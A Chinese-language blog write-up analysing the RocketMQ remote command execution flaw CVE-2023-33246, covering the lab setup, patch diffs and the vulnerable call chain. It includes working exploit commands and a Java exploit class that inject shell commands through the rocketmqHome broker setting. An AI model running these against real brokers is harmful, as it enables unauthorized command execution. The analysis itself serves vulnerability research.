CVE-2023-33246 RocketMQ 漏洞分析
Drunkbaby Lv6

发一篇库存

这篇文章也发在了我们团队的公众号上:https://mp.weixin.qq.com/s/E3IiSiIyP6So5cg-dR8PyQ

CVE-2023-33246 漏洞分析

漏洞描述

RocketMQ 5.1.0 及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

漏洞影响版本

Apache RocketMQ <= 5.1.0

漏洞基础

Apache RocketMQ

RocketMQ 是一个开源的分布式消息中间件系统,由阿里巴巴集团开发并贡献给 Apache 软件基金会,它主要用于解决高并发、高可用的场景下的消息通信问题。

  • 说白了我觉得从应用角度来说就是第二个 Kafka

RocketMQ 工作流程

1、生产者发送消息:生产者通过调用 RocketMQ 提供的 API 向指定 Topic 发送消息,消息可以是任何格式的数据。

2、Nameserver 服务注册:Nameserver 接收到 Broker 的注册信息,并将其存储在内存中。同时,Nameserver 还记录着所有 Topic 和 Queue 的路由信息。

3、消费者订阅消息:消费者通过订阅指定的 Topic 来接收消息。消费者可以选择同步或异步方式订阅消息,也可以根据自己的需求设置消费模式。

4、Broker 接收消息:经过负载均衡后,消息被发送到 Broker 中。每个 Broker 都会缓存一定数量的消息,以便快速响应消费者的请求。

5、消费者拉取消息:消费者定期从 Broker 中拉取消息。在拉取消息时,可以根据不同的消费模式进行消息消费。消费者可以在本地进行消息处理,也可以将消息传递给其他系统进行处理。

6、消息确认:消费者在消费完消息后,需要向 Broker 发送消息确认信息。消息确认可以帮助 Broker 删除已经被消费的消息,避免重复消费。

总的来说,RocketMQ 的工作流程包括了生产者发送消息、Nameserver 注册服务、消费者订阅消息、Broker 接收消息、消费者拉取消息和消息确认等步骤。通过这些步骤,RocketMQ 能够实现高效、可靠的消息传递和处理。

环境搭建

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
version: '2'

services:
namesrv:
image: apache/rocketmq:4.9.4
container_name: rmqnamesrv
ports:
- 9876:9876
- 9555:9555
environment:
JAVA_OPT: "-Xdebug -Xrunjdwp:transport=dt_socket,address=9555,server=y,suspend=n"
command: sh mqnamesrv

broker:
image: apache/rocketmq:4.9.4
container_name: rmqbroker
ports:
- 10909:10909
- 10911:10911
- 10912:10912
- 9556:9555
environment:
JAVA_OPT: "-Xdebug -Xrunjdwp:transport=dt_socket,address=9555,server=y,suspend=n"
command: sh mqbroker -n namesrv:9876 -c ../conf/broker.conf
depends_on:
- namesrv


dashboard:
image: apacherocketmq/rocketmq-dashboard
container_name: rmqdashboard
restart: always
ports:
- 8081:8081
environment:
JAVA_OPTS: "-Drocketmq.namesrv.addr=namesrv:9876"
depends_on:
- namesrv

最开始这里是先去找 namesrv 处的漏洞的,但是发现打了断点之后一直走不过去,才发现是 Broker 组件处的问题,于是又加了 Broker 组件的断点调试。

且发现 Docker 的 5.1.0 版本有些问题,一直没有 debug 排错成功。

漏洞复现与分析

对于漏洞描述的思考

再看一遍漏洞描述,越看思考越多

  • RocketMQ 5.1.0 及以下版本,在一定条件下,存在远程命令执行风险。

  • RocketMQ 的 NameServer、Broker、Controller 等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞,达到更新配置功能的效果。

  • 以 RocketMQ 运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

本质上是两点,需要先修改配置,再 RCE

漏洞信息给的相当模糊, 我猜测可能是 RocketMQ 里面本身自带有命令执行的地方,但是需要攻击者先构造越权。

和之前的漏洞分析不太一样,我并没有找到比较明显的 diff 代码

找了非常久的 diff 代码,终于找到一处可用的

https://github.com/apache/rocketmq/commit/9d411cf04a695e7a3f41036e8377b0aa544d754d

https://github.com/apache/rocketmq/commit/c3ada731405c5990c36bf58d50b3e61965300703 (和上面的版本,本质上是同一种东西)

这个的 diff 修复代码主要是做了一件事:不让 RocketMQ 在运行的时候能够更新 configPath,且增加了黑命单,黑名单如下

1
2
3
4
brokerConfigPath 
configStorePath
kvConfigPath
configStorePathName

后来在 4.9.6 的更新处又找到了另外一个地方

https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc (4.9.6)

https://github.com/apache/rocketmq/commit/f1b411cecc3a9c441fdec2caf5867601419f3fc0 (5.1.1)

这里我们拿以前的旧版本(我是 4.9.4)去看一下 filter server 到底是什么功能点

发现存在 callShell() 方法非常可疑,跟进去看一下,发现这里直接就有 Runtime.getRuntime.exec() 写出来了

结合前面的 callShell() 方法,最终找到一条可以利用的调用链,因为在 RocketMQ 中,startBasicService 这个方法很可能是每时每刻都在进行的

1
BrokerController#startBasicService ——> FilterServerManager#start ——> FilterServerManager#createFilterServer ——> FilterServerUtil#callShell

漏洞利用与漏洞分析

从漏洞利用角度来说很简单了,这里我们开启远程调试,并且在有 RocketMQ 的机子上开启另外一台 RocketMQ 主机来测试,因为这样可以保证控制变量,也不会有自己打自己的错觉。

通过以下命令开启另外一台 RocketMQ,这里本质上不会启动 RocketMQ 的服务,只是用一下里面的 jar 包等环境

1
docker run --rm -ti apache/rocketmq:4.9.4 bash

通过翻阅官方文档这里可以知道更新配置的操作是通过 ./mqadmin 这个命令来完成的

https://rocketmq.apache.org/zh/docs/4.x/deployment/02admintool/

因为漏洞代码是走到 Broker 这个组件相对应的功能里面去的,所以使用 ./mqadmin 命令后接 updateBrokerConfig 是我认为正确的利用姿势,先构造一个简单的 test 案例

1
./mqadmin updateBrokerConfig -k key -v whoami -n 124.222.21.138:9876

但是这一个 test 案例并没有走到对应的 FilterServerUtil#callShell 方法里面去,但是断点里面出现了这一段内容,这也就证明了这个 BrokerController 是会自动运行的(因为这里 more = 0,所以会抛出异常)

这时候再回来看一看 cmd 到底是怎么构造出来的 —— 去到 FilterServerManager.buildStartCommand() 方法下断点调试

第一个参数是 BrokerStartup.configFile,也就是配置文件,第二个参数是要去更新的 NamesrvAddr,第三个参数为 rocketHome 的路径

这三者最终形成了 String cmd = this.buildStartCommand(); 里的 cmd 变量,形象化地说明一下就是这样

1
sh {para3}/bin/startfsrv.sh -c {para1} -n {para2}

所以从构造攻击的角度来说我们最好是让 para3 可控,构造类似于 sh evil_cmd;/bin/startfsrv.sh -c {para1} -n {para2} 即可达到命令执行的目的。

这里其实还有一点需要绕过,就是 getFilterServerNums 这里最初的值是 0,我们需要让它变成大于 0 即可,这一点其实很容易实现,还是可以通过之前的 ./mqadmin 命令来完成。

1
./mqadmin updateBrokerConfig -kfilterServerNums -v1 -b124.222.21.138:10911 -n 124.222.21.138:9876

如此操作之后,就能够让代码走进 callShell() 的逻辑

并且在这里,通过 cmdArray 变量可以看到,确实我们需要控制 para3 去进行命令执行

构造 EXP

1
./mqadmin updateBrokerConfig -krocketmqHome -v'-c {echo,dG91Y2ggL3RtcC9zdWNjZXNzCg==}|{base64,-d}|bash -c"" '  -b124.222.21.138:10911 -n 124.222.21.138:9876

命令执行成功!

如果说需要扩大攻击面的话,我们尝试用 Java 打 RocketMQ 的 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Properties;

public class EXP {
public static void main(String[]args) throws Exception{
// 创建 Properties 对象
Properties props = new Properties();
props.setProperty("rocketmqHome","-c {echo,dG91Y2ggL3RtcC9mbGFn}|{base64,-d}|bash -c");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr("124.222.21.138:9876");
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig("124.222.21.138:10911", props);
Properties brokerConfig = admin.getBrokerConfig("124.222.21.138:10911");
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}

}

关于 RocketMQ 协议发包

这里我用 tcpdump 抓包了,但是我还是没有特别明白,这到底是什么意思,意思是强制更新吗还是。。

通过抓包其实可以看出来也是同样的过程。这里我觉得发包其实就是做了一个强制更新的操作,从上面的漏洞分析过程可以看到,sh xxx 一系列的参数,在被执行时是陆陆续续的,所以我们可以通过发包来强制更新

后续知道其实这是需要 TCP 发包构造

小结

这个洞其实找到链尾就不难了

CVE-2023-33246 的命令执行方式还是挺骚的,同时我在向淚笑大师傅请教的过程中学到了非常多的东西,首先是漏洞挖掘这一块,需要多元思考,其实这个尾部命令执行的点还是挺有意思的,说不定其他很多产品也会存在这个问题。

再就是多用 docker,他搭建环境非常非常快。

最后就是如何挖洞,是要多关注官方文档的很多的功能利用的,多调试。

 评论